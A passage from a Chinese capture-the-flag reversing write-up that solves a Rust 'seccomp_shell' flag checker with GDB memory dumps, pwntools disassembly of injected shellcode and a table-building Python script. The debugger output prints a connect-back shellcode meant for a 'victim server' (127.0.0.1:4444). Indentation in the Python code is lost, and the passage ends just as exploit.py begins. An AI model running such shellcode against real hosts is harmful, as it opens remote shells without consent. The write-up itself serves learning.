    0x5555555d6400: 0x8c 0xa7 0xd5 0x2a 0x7c 0x6d 0x8b 0x17
    0x5555555d6408: 0x9d 0x83 0xfe 0x69 0x10 0x59 0xa9 0x9e
    0x5555555d6410: 0x0f 0x1c 0x66 0x97 0x5b 0x61 0xed 0xad
    0x5555555d6418: 0xe0 0xda 0x27 0x06 0x25 0xdc 0x5e 0xe7

    0x5555555d63e0: 0x41 0x32 0xd2 0xd9 0x8f 0xee 0xaf 0x03
    0x5555555d63e8: 0x93 0x3a 0x00 0xa2 0xe1 0xb3 0xec 0x81
    0x5555555d63f0: 0x9f 0xca 0x58 0xb7 0x79 0xfd 0x3b 0xa0
    0x5555555d63f8: 0x02 0x0c 0xcb 0xa8 0x80 0xc0 0x16 0x4d
    0x5555555d6400: 0x2f 0x75 0x71 0x0a 0x04 0x39 0xff 0xc1
    0x5555555d6408: 0x9c 0xab 0xef 0xa4 0xd8 0xe2 0x14 0xc2
    0x5555555d6410: 0x6c 0x64 0x1e 0x6b 0x7e 0x99 0x2e 0x09
    0x5555555d6418: 0x0b 0x86 0x74 0x6a 0xc4 0x2d 0x4f 0xf9

    0x5555555d63e0: 0xfa 0x94 0xb6 0x1f 0x89 0x6f 0x5d 0xe8
    0x5555555d63e8: 0xea 0xb5 0x5a 0x65 0x88 0xc5 0x7f 0x77
    0x5555555d63f0: 0x11 0xcf 0xf1 0x1b 0x3f 0xf4 0x48 0x47
    0x5555555d63f8: 0x12 0xe4 0xba 0xdf 0xe9 0x62 0x6e 0xb4
    0x5555555d6400: 0x96 0xcd 0x13 0x53 0x4b 0x28 0xd7 0xd1
    0x5555555d6408: 0x33 0xb8 0xe6 0x7a 0x2c 0x9b 0x29 0x44
    0x5555555d6410: 0x52 0xf7 0x20 0xf2 0x31 0xd3 0xb9 0x40
    0x5555555d6418: 0xd0 0x34 0xf5 0x54 0x1a 0x01 0xa1 0x92

    0x5555555d63e0: 0xfc 0x85 0x07 0xbe 0xdd 0xbc 0x19 0xf3
    0x5555555d63e8: 0x36 0xf6 0x72 0x98 0x4c 0x7d 0xc7 0xd4
    0x5555555d63f0: 0x45 0x4a 0x9a 0xc3 0x8a 0xe5 0x50 0x46
    0x5555555d63f8: 0xcc 0x68 0x76 0x67 0xc9 0x0e 0x3c 0x57
    0x5555555d6400: 0xf0 0x22 0xbf 0x26 0x84 0x0d 0x90 0xa3
    0x5555555d6408: 0xae 0x3d 0x1d 0xc8 0x91 0x05 0x87 0x70
    0x5555555d6410: 0x08 0x73 0x21 0x49 0x55 0x3e 0x37 0x23
    0x5555555d6418: 0x18 0x56 0xce 0x82 0x38 0x95 0x78 0xf8
    """

    def parse_memory_dump(dump):
    bytes_list = []
    for line in dump.strip().split('\n'):
    parts = line.split(':')
    if len(parts) < 2:
    continue
    byte_strs = parts[1].split()
    for byte_str in byte_strs:
    bytes_list.append(int(byte_str.strip(), 16))
    return bytes_list


    plain_bytes = parse_memory_dump(plain_string)
    encrypted_bytes = parse_memory_dump(encrypted_string)

    encryption_mapping = {plain: encrypted for plain, encrypted in zip(plain_bytes, encrypted_bytes)}
    decryption_mapping = {encrypted: plain for plain, encrypted in zip(plain_bytes, encrypted_bytes)}
    讚。到這邊我們已經可以完全模擬它對輸入的所有操作了。
    不過有個大問題:這題是一個 flag checker,可是剛剛前面我們已經用 IDA 把 verify() 整個看過一遍也沒發現任何在檢查 flag 的部分,只看到他寫了 255 個 bytes 到一塊新的空間還有寫 64 個 bytes 到 dest,還有一些 TCP 的操作,但就不知道他後面在忙什麼QQ
    後來看了其他人的 writeup 後發現原來寫入的 255 byets 是一段 shellcode,那這樣我們可以用 pwntool.disasm 來協助我們分析這段 shellcode,gogo。
  1. Shellcode 2 Assembly
  • 下斷點

我們把斷點下在剛 call 完寫入 shellcode 的地方,然後因為前面剛 alloc() 一塊空間給 shellcode 所以位址就會在 $rax:

1
2
3
4
5
6
7
8
.text:00000000000130B2                 call    _ZN5alloc7raw_vec19RawVec$LT$T$C$A$GT$11allocate_in17h9362616e9151d1f3E ; alloc::raw_vec::RawVec$LT$T$C$A$GT$::allocate_in::h9362616e9151d1f3
.text:00000000000130B7 mov r14, rax
.text:00000000000130BA mov r15, rdx
.text:00000000000130BD lea rsi, unk_62B2B ; src
.text:00000000000130C4 mov edx, 0FFh ; n
.text:00000000000130C9 mov rdi, rax ; dest
.text:00000000000130CC call cs:memcpy_ptr
.text:00000000000130D2 mov [rsp+288h+memoryBuffer], r14

也就是 mov [rsp+288h+memoryBuffer], r14

  • GDB dump shellcode
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    gef➤  break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x462
    Breakpoint 4 at 0x5555555670d2
    gef➤ continue
    Continuing.
    > server
    [!] SYS_socket and SYS_connect should be allowed
    server> run
    [*] Run the following shellcode on the victim server:
    "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
    [*] Waiting for connection on 127.0.0.1:4444
    [+] Connection established from 127.0.0.1:56746
    $ flag 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}

    Breakpoint 4, 0x00005555555670d2 in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
    gef➤ x/255xb $rax
    0x5555555d6430: 0x54 0x5d 0x31 0xf6 0x48 0xb9 0xa1 0x57
    0x5555555d6438: 0x06 0xb8 0x62 0x3a 0x9f 0x37 0x48 0xba
    0x5555555d6440: 0x8e 0x35 0x6f 0xd6 0x4d 0x49 0xf7 0x37
    0x5555555d6448: 0x48 0x31 0xd1 0x51 0x54 0x5f 0x6a 0x02
    0x5555555d6450: 0x58 0x99 0x0f 0x05 0x48 0x97 0x31 0xc0
    0x5555555d6458: 0x50 0x54 0x5e 0x6a 0x04 0x5a 0x0f 0x05
    0x5555555d6460: 0x41 0x5c 0x6a 0x03 0x58 0x0f 0x05 0x31
    0x5555555d6468: 0xf6 0x48 0xb9 0x3b 0x3b 0x6f 0xc3 0x63
    0x5555555d6470: 0x64 0xc0 0xaa 0x48 0xba 0x48 0x4c 0x0b
    0x5555555d6478: 0xc3 0x63 0x64 0xc0 0xaa 0x48 0x31 0xd1
    0x5555555d6480: 0x51 0x48 0xb9 0x8c 0x57 0x82 0x75 0xd6
    0x5555555d6488: 0xf8 0xa9 0x7d 0x48 0xba 0xa3 0x32 0xf6
    0x5555555d6490: 0x16 0xf9 0x88 0xc8 0x0e 0x48 0x31 0xd1
    0x5555555d6498: 0x51 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f
    0x5555555d64a0: 0x05 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e
    0x5555555d64a8: 0x6a 0x04 0x5a 0x0f 0x05 0x41 0x5d 0x6a
    0x5555555d64b0: 0x03 0x58 0x0f 0x05 0x31 0xf6 0x6a 0x6f
    0x5555555d64b8: 0x48 0xb9 0x59 0xe5 0x06 0x0c 0x2d 0xf6
    0x5555555d64c0: 0xd9 0x77 0x48 0xba 0x76 0x81 0x63 0x7a
    0x5555555d64c8: 0x02 0x8c 0xbc 0x05 0x48 0x31 0xd1 0x51
    0x5555555d64d0: 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f 0x05
    0x5555555d64d8: 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e 0x6a
    0x5555555d64e0: 0x04 0x5a 0x0f 0x05 0x58 0x48 0xf7 0xd0
    0x5555555d64e8: 0x48 0xc1 0xe8 0x1d 0x48 0x99 0x6a 0x29
    0x5555555d64f0: 0x59 0x48 0xf7 0xf1 0x49 0x96 0x6a 0x03
    0x5555555d64f8: 0x58 0x0f 0x05 0xb8 0xef 0xbe 0xad 0xde
    0x5555555d6500: 0x44 0x01 0xe0 0x44 0x31 0xe8 0xc1 0xc8
    0x5555555d6508: 0x0b 0xf7 0xd0 0x44 0x31 0xf0 0x3d 0xef
    0x5555555d6510: 0xbe 0xad 0xde 0x75 0x05 0x6a 0x01 0x58
    0x5555555d6518: 0xeb 0x03 0x48 0x31 0xc0 0x50 0x53 0x5f
    0x5555555d6520: 0x54 0x5e 0x6a 0x08 0x5a 0x6a 0x01 0x58
    0x5555555d6528: 0x0f 0x05 0x55 0x5c 0x41 0xff 0xe7
  • python 轉換成 assembly
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    # ===== Part 3: shellcode =====
    from pwn import disasm

    shellcode = '''
    0x5555555d6430: 0x54 0x5d 0x31 0xf6 0x48 0xb9 0xa1 0x57
    0x5555555d6438: 0x06 0xb8 0x62 0x3a 0x9f 0x37 0x48 0xba
    0x5555555d6440: 0x8e 0x35 0x6f 0xd6 0x4d 0x49 0xf7 0x37
    0x5555555d6448: 0x48 0x31 0xd1 0x51 0x54 0x5f 0x6a 0x02
    0x5555555d6450: 0x58 0x99 0x0f 0x05 0x48 0x97 0x31 0xc0
    0x5555555d6458: 0x50 0x54 0x5e 0x6a 0x04 0x5a 0x0f 0x05
    0x5555555d6460: 0x41 0x5c 0x6a 0x03 0x58 0x0f 0x05 0x31
    0x5555555d6468: 0xf6 0x48 0xb9 0x3b 0x3b 0x6f 0xc3 0x63
    0x5555555d6470: 0x64 0xc0 0xaa 0x48 0xba 0x48 0x4c 0x0b
    0x5555555d6478: 0xc3 0x63 0x64 0xc0 0xaa 0x48 0x31 0xd1
    0x5555555d6480: 0x51 0x48 0xb9 0x8c 0x57 0x82 0x75 0xd6
    0x5555555d6488: 0xf8 0xa9 0x7d 0x48 0xba 0xa3 0x32 0xf6
    0x5555555d6490: 0x16 0xf9 0x88 0xc8 0x0e 0x48 0x31 0xd1
    0x5555555d6498: 0x51 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f
    0x5555555d64a0: 0x05 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e
    0x5555555d64a8: 0x6a 0x04 0x5a 0x0f 0x05 0x41 0x5d 0x6a
    0x5555555d64b0: 0x03 0x58 0x0f 0x05 0x31 0xf6 0x6a 0x6f
    0x5555555d64b8: 0x48 0xb9 0x59 0xe5 0x06 0x0c 0x2d 0xf6
    0x5555555d64c0: 0xd9 0x77 0x48 0xba 0x76 0x81 0x63 0x7a
    0x5555555d64c8: 0x02 0x8c 0xbc 0x05 0x48 0x31 0xd1 0x51
    0x5555555d64d0: 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f 0x05
    0x5555555d64d8: 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e 0x6a
    0x5555555d64e0: 0x04 0x5a 0x0f 0x05 0x58 0x48 0xf7 0xd0
    0x5555555d64e8: 0x48 0xc1 0xe8 0x1d 0x48 0x99 0x6a 0x29
    0x5555555d64f0: 0x59 0x48 0xf7 0xf1 0x49 0x96 0x6a 0x03
    0x5555555d64f8: 0x58 0x0f 0x05 0xb8 0xef 0xbe 0xad 0xde
    0x5555555d6500: 0x44 0x01 0xe0 0x44 0x31 0xe8 0xc1 0xc8
    0x5555555d6508: 0x0b 0xf7 0xd0 0x44 0x31 0xf0 0x3d 0xef
    0x5555555d6510: 0xbe 0xad 0xde 0x75 0x05 0x6a 0x01 0x58
    0x5555555d6518: 0xeb 0x03 0x48 0x31 0xc0 0x50 0x53 0x5f
    0x5555555d6520: 0x54 0x5e 0x6a 0x08 0x5a 0x6a 0x01 0x58
    0x5555555d6528: 0x0f 0x05 0x55 0x5c 0x41 0xff 0xe7
    '''

    shellcode_bytes = parse_memory_dump(shellcode)
    disassembled_code = disasm(shellcode_bytes, arch='amd64')
    print(disassembled_code)
  • Result:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
     0:   54                      push   rsp
    1: 5d pop rbp
    2: 31 f6 xor esi, esi
    4: 48 b9 a1 57 06 b8 62 3a 9f 37 movabs rcx, 0x379f3a62b80657a1
    e: 48 ba 8e 35 6f d6 4d 49 f7 37 movabs rdx, 0x37f7494dd66f358e
    18: 48 31 d1 xor rcx, rdx
    1b: 51 push rcx
    1c: 54 push rsp
    1d: 5f pop rdi
    1e: 6a 02 push 0x2
    20: 58 pop rax
    21: 99 cdq
    22: 0f 05 syscall
    24: 48 97 xchg rdi, rax
    26: 31 c0 xor eax, eax
    28: 50 push rax
    29: 54 push rsp
    2a: 5e pop rsi
    2b: 6a 04 push 0x4
    2d: 5a pop rdx
    2e: 0f 05 syscall
    30: 41 5c pop r12
    32: 6a 03 push 0x3
    34: 58 pop rax
    35: 0f 05 syscall
    37: 31 f6 xor esi, esi
    39: 48 b9 3b 3b 6f c3 63 64 c0 aa movabs rcx, 0xaac06463c36f3b3b
    43: 48 ba 48 4c 0b c3 63 64 c0 aa movabs rdx, 0xaac06463c30b4c48
    4d: 48 31 d1 xor rcx, rdx
    50: 51 push rcx
    51: 48 b9 8c 57 82 75 d6 f8 a9 7d movabs rcx, 0x7da9f8d67582578c
    5b: 48 ba a3 32 f6 16 f9 88 c8 0e movabs rdx, 0xec888f916f632a3
    65: 48 31 d1 xor rcx, rdx
    68: 51 push rcx
    69: 54 push rsp
    6a: 5f pop rdi
    6b: 6a 02 push 0x2
    6d: 58 pop rax
    6e: 99 cdq
    6f: 0f 05 syscall
    71: 48 97 xchg rdi, rax
    73: 31 c0 xor eax, eax
    75: 50 push rax
    76: 54 push rsp
    77: 5e pop rsi
    78: 6a 04 push 0x4
    7a: 5a pop rdx
    7b: 0f 05 syscall
    7d: 41 5d pop r13
    7f: 6a 03 push 0x3
    81: 58 pop rax
    82: 0f 05 syscall
    84: 31 f6 xor esi, esi
    86: 6a 6f push 0x6f
    88: 48 b9 59 e5 06 0c 2d f6 d9 77 movabs rcx, 0x77d9f62d0c06e559
    92: 48 ba 76 81 63 7a 02 8c bc 05 movabs rdx, 0x5bc8c027a638176
    9c: 48 31 d1 xor rcx, rdx
    9f: 51 push rcx
    a0: 54 push rsp
    a1: 5f pop rdi
    a2: 6a 02 push 0x2
    a4: 58 pop rax
    a5: 99 cdq
    a6: 0f 05 syscall
    a8: 48 97 xchg rdi, rax
    aa: 31 c0 xor eax, eax
    ac: 50 push rax
    ad: 54 push rsp
    ae: 5e pop rsi
    af: 6a 04 push 0x4
    b1: 5a pop rdx
    b2: 0f 05 syscall
    b4: 58 pop rax
    b5: 48 f7 d0 not rax
    b8: 48 c1 e8 1d shr rax, 0x1d
    bc: 48 99 cqo
    be: 6a 29 push 0x29
    c0: 59 pop rcx
    c1: 48 f7 f1 div rcx
    c4: 49 96 xchg r14, rax
    c6: 6a 03 push 0x3
    c8: 58 pop rax
    c9: 0f 05 syscall
    cb: b8 ef be ad de mov eax, 0xdeadbeef
    d0: 44 01 e0 add eax, r12d
    d3: 44 31 e8 xor eax, r13d
    d6: c1 c8 0b ror eax, 0xb
    d9: f7 d0 not eax
    db: 44 31 f0 xor eax, r14d
    de: 3d ef be ad de cmp eax, 0xdeadbeef
    e3: 75 05 jne 0xea
    e5: 6a 01 push 0x1
    e7: 58 pop rax
    e8: eb 03 jmp 0xed
    ea: 48 31 c0 xor rax, rax
    ed: 50 push rax
    ee: 53 push rbx
    ef: 5f pop rdi
    f0: 54 push rsp
    f1: 5e pop rsi
    f2: 6a 08 push 0x8
    f4: 5a pop rdx
    f5: 6a 01 push 0x1
    f7: 58 pop rax
    f8: 0f 05 syscall
    fa: 55 push rbp
    fb: 5c pop rsp
    fc: 41 ff e7 jmp r15
  1. 分析 shellcode
  • 0xdeadbeef is not 0xdeadbeef
    1
    2
    cb:   b8 ef be ad de          mov    eax, 0xdeadbeef
    de: 3d ef be ad de cmp eax, 0xdeadbeef
    觀察 shellcode 可以看到總共有兩個地方出現了 0xdeadbeef,但其實從 ida 看後續行為可以發現它其實是把第一個 0xdeadbeef 改成我們處理過後的 input,然後第二個放成一個特定的值。
  • 主要行為:
1
2
3
4
5
6
7
8
9
10
# 設定 r12
# 設定 r13
# 設定 r14
cb: b8 ef be ad de mov eax, 0xdeadbeef # 放進處理後的輸入
d0: 44 01 e0 add eax, r12d # 和 r12、r13、r14 做一些運算
d3: 44 31 e8 xor eax, r13d
d6: c1 c8 0b ror eax, 0xb
d9: f7 d0 not eax
db: 44 31 f0 xor eax, r14d
de: 3d ef be ad de cmp eax, 0xdeadbeef # 比較一個特定的值

理解後目標就很明確了,我們只需要找出那三個暫存器的值就可以拿到 flag 了!
至於怎麼找值有很多方式,列出一些給大家參考:

  1. 如果夠猛,可以直接靜態分析出來,但這有點硬 XD,推薦後面兩種。
  2. 另外一種是模仿剛剛用來模擬 clinet 的 shellcode,再配合 ida 的 remote linux debugger 動態分析。
  3. 當然直接用 gdb 分析也可以。

這邊選擇第三種,用 gdb 來分析。先 break main 之後走到 main,然後設定 watch $r12watch $r13watch $r14continue,就可以依序看到三個暫存器被設定:
r12

1
2
3
r12 = 0x464C457F
r13 = 0x746F6F72
r14 = 0x31F3831F

從 ida 取出要比較的常數:
xmm

把他轉成 uint32 方便待會的操作:
uint32
驗算一下也確實是 64 bytes。

0x4 Exploits

generator.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
# ===== Part 1: Swap mapping table =====

# Improved Swap Mapping Table
original_chars = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
shuffled_chars = 'HfVl{qPcCYNMoRi7D8Jr}espOL4FhwdWAtTGZba5Ugjvnx2QkKE3IS0yuz6BX19m'

# Generating index mapping using list comprehension for efficiency
index_mapping = [shuffled_chars.find(char) for char in original_chars]

print("Index Mapping: ", index_mapping)

# ===== Part 2: Bitwise encryption mapping table =====

plain_string = """
0x5555555d63e0: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0x5555555d63e8: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
0x5555555d63f0: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
0x5555555d63f8: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
0x5555555d6400: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
0x5555555d6408: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
0x5555555d6410: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
0x5555555d6418: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f

0x5555555d63e0: 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47
0x5555555d63e8: 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f
0x5555555d63f0: 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57
0x5555555d63f8: 0x58 0x59 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f
0x5555555d6400: 0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67
0x5555555d6408: 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f
0x5555555d6410: 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77
0x5555555d6418: 0x78 0x79 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f

0x5555555d63e0: 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87
0x5555555d63e8: 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f
0x5555555d63f0: 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97
0x5555555d63f8: 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f
0x5555555d6400: 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7
0x5555555d6408: 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf
0x5555555d6410: 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7
0x5555555d6418: 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf

0x5555555d63e0: 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7
0x5555555d63e8: 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf
0x5555555d63f0: 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7
0x5555555d63f8: 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf
0x5555555d6400: 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7
0x5555555d6408: 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef
0x5555555d6410: 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7
0x5555555d6418: 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff
"""

encrypted_string = """
0x5555555d63e0: 0xfb 0x7b 0x4e 0xbb 0x51 0x15 0x8d 0xdb
0x5555555d63e8: 0xb0 0xac 0xa5 0x8e 0xaa 0xb2 0x60 0xeb
0x5555555d63f0: 0x63 0x5c 0xde 0x42 0x2b 0xc6 0xa6 0x35
0x5555555d63f8: 0x30 0x43 0xd6 0x5f 0xbd 0x24 0xb1 0xe3
0x5555555d6400: 0x8c 0xa7 0xd5 0x2a 0x7c 0x6d 0x8b 0x17
0x5555555d6408: 0x9d 0x83 0xfe 0x69 0x10 0x59 0xa9 0x9e
0x5555555d6410: 0x0f 0x1c 0x66 0x97 0x5b 0x61 0xed 0xad
0x5555555d6418: 0xe0 0xda 0x27 0x06 0x25 0xdc 0x5e 0xe7

0x5555555d63e0: 0x41 0x32 0xd2 0xd9 0x8f 0xee 0xaf 0x03
0x5555555d63e8: 0x93 0x3a 0x00 0xa2 0xe1 0xb3 0xec 0x81
0x5555555d63f0: 0x9f 0xca 0x58 0xb7 0x79 0xfd 0x3b 0xa0
0x5555555d63f8: 0x02 0x0c 0xcb 0xa8 0x80 0xc0 0x16 0x4d
0x5555555d6400: 0x2f 0x75 0x71 0x0a 0x04 0x39 0xff 0xc1
0x5555555d6408: 0x9c 0xab 0xef 0xa4 0xd8 0xe2 0x14 0xc2
0x5555555d6410: 0x6c 0x64 0x1e 0x6b 0x7e 0x99 0x2e 0x09
0x5555555d6418: 0x0b 0x86 0x74 0x6a 0xc4 0x2d 0x4f 0xf9

0x5555555d63e0: 0xfa 0x94 0xb6 0x1f 0x89 0x6f 0x5d 0xe8
0x5555555d63e8: 0xea 0xb5 0x5a 0x65 0x88 0xc5 0x7f 0x77
0x5555555d63f0: 0x11 0xcf 0xf1 0x1b 0x3f 0xf4 0x48 0x47
0x5555555d63f8: 0x12 0xe4 0xba 0xdf 0xe9 0x62 0x6e 0xb4
0x5555555d6400: 0x96 0xcd 0x13 0x53 0x4b 0x28 0xd7 0xd1
0x5555555d6408: 0x33 0xb8 0xe6 0x7a 0x2c 0x9b 0x29 0x44
0x5555555d6410: 0x52 0xf7 0x20 0xf2 0x31 0xd3 0xb9 0x40
0x5555555d6418: 0xd0 0x34 0xf5 0x54 0x1a 0x01 0xa1 0x92

0x5555555d63e0: 0xfc 0x85 0x07 0xbe 0xdd 0xbc 0x19 0xf3
0x5555555d63e8: 0x36 0xf6 0x72 0x98 0x4c 0x7d 0xc7 0xd4
0x5555555d63f0: 0x45 0x4a 0x9a 0xc3 0x8a 0xe5 0x50 0x46
0x5555555d63f8: 0xcc 0x68 0x76 0x67 0xc9 0x0e 0x3c 0x57
0x5555555d6400: 0xf0 0x22 0xbf 0x26 0x84 0x0d 0x90 0xa3
0x5555555d6408: 0xae 0x3d 0x1d 0xc8 0x91 0x05 0x87 0x70
0x5555555d6410: 0x08 0x73 0x21 0x49 0x55 0x3e 0x37 0x23
0x5555555d6418: 0x18 0x56 0xce 0x82 0x38 0x95 0x78 0xf8
"""

def parse_memory_dump(dump):
bytes_array = bytearray()
for line in dump.strip().split('\n'):
parts = line.split(':')
if len(parts) < 2:
continue
byte_strs = parts[1].split()
for byte_str in byte_strs:
bytes_array.append(int(byte_str.strip(), 16))
return bytes_array

# Parsing plain and encrypted strings
plain_bytes = parse_memory_dump(plain_string)
encrypted_bytes = parse_memory_dump(encrypted_string)

# Creating a decryption map from encrypted bytes to plain bytes
decryption_map = {encrypted: plain for plain, encrypted in zip(plain_bytes, encrypted_bytes)}

print()
print("Decryption Map: ", decryption_map)

# ===== Part 3: Parsing the shellcode =====
from pwn import disasm

shellcode = '''
0x5555555d6430: 0x54 0x5d 0x31 0xf6 0x48 0xb9 0xa1 0x57
0x5555555d6438: 0x06 0xb8 0x62 0x3a 0x9f 0x37 0x48 0xba
0x5555555d6440: 0x8e 0x35 0x6f 0xd6 0x4d 0x49 0xf7 0x37
0x5555555d6448: 0x48 0x31 0xd1 0x51 0x54 0x5f 0x6a 0x02
0x5555555d6450: 0x58 0x99 0x0f 0x05 0x48 0x97 0x31 0xc0
0x5555555d6458: 0x50 0x54 0x5e 0x6a 0x04 0x5a 0x0f 0x05
0x5555555d6460: 0x41 0x5c 0x6a 0x03 0x58 0x0f 0x05 0x31
0x5555555d6468: 0xf6 0x48 0xb9 0x3b 0x3b 0x6f 0xc3 0x63
0x5555555d6470: 0x64 0xc0 0xaa 0x48 0xba 0x48 0x4c 0x0b
0x5555555d6478: 0xc3 0x63 0x64 0xc0 0xaa 0x48 0x31 0xd1
0x5555555d6480: 0x51 0x48 0xb9 0x8c 0x57 0x82 0x75 0xd6
0x5555555d6488: 0xf8 0xa9 0x7d 0x48 0xba 0xa3 0x32 0xf6
0x5555555d6490: 0x16 0xf9 0x88 0xc8 0x0e 0x48 0x31 0xd1
0x5555555d6498: 0x51 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f
0x5555555d64a0: 0x05 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e
0x5555555d64a8: 0x6a 0x04 0x5a 0x0f 0x05 0x41 0x5d 0x6a
0x5555555d64b0: 0x03 0x58 0x0f 0x05 0x31 0xf6 0x6a 0x6f
0x5555555d64b8: 0x48 0xb9 0x59 0xe5 0x06 0x0c 0x2d 0xf6
0x5555555d64c0: 0xd9 0x77 0x48 0xba 0x76 0x81 0x63 0x7a
0x5555555d64c8: 0x02 0x8c 0xbc 0x05 0x48 0x31 0xd1 0x51
0x5555555d64d0: 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f 0x05
0x5555555d64d8: 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e 0x6a
0x5555555d64e0: 0x04 0x5a 0x0f 0x05 0x58 0x48 0xf7 0xd0
0x5555555d64e8: 0x48 0xc1 0xe8 0x1d 0x48 0x99 0x6a 0x29
0x5555555d64f0: 0x59 0x48 0xf7 0xf1 0x49 0x96 0x6a 0x03
0x5555555d64f8: 0x58 0x0f 0x05 0xb8 0xef 0xbe 0xad 0xde
0x5555555d6500: 0x44 0x01 0xe0 0x44 0x31 0xe8 0xc1 0xc8
0x5555555d6508: 0x0b 0xf7 0xd0 0x44 0x31 0xf0 0x3d 0xef
0x5555555d6510: 0xbe 0xad 0xde 0x75 0x05 0x6a 0x01 0x58
0x5555555d6518: 0xeb 0x03 0x48 0x31 0xc0 0x50 0x53 0x5f
0x5555555d6520: 0x54 0x5e 0x6a 0x08 0x5a 0x6a 0x01 0x58
0x5555555d6528: 0x0f 0x05 0x55 0x5c 0x41 0xff 0xe7
'''
shellcode_bytes = parse_memory_dump(shellcode)

# Disassemble the shellcode bytes for the amd64 architecture
disassembled_code = disasm(shellcode_bytes, arch='amd64')

# Print the disassembled code for review
print()
print("Disassembled_code: ")
print(disassembled_code)
print() # Adds a blank line for better readability

# Convert the shellcode bytes back into a string format for display or other uses
shellcode_exe = ''.join(['\\x{:02x}'.format(b) for b in shellcode_bytes])

# Print the shellcode string in a format that's ready to be used or analyzed
print("Shellcode: ", shellcode_exe)

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import numpy as np

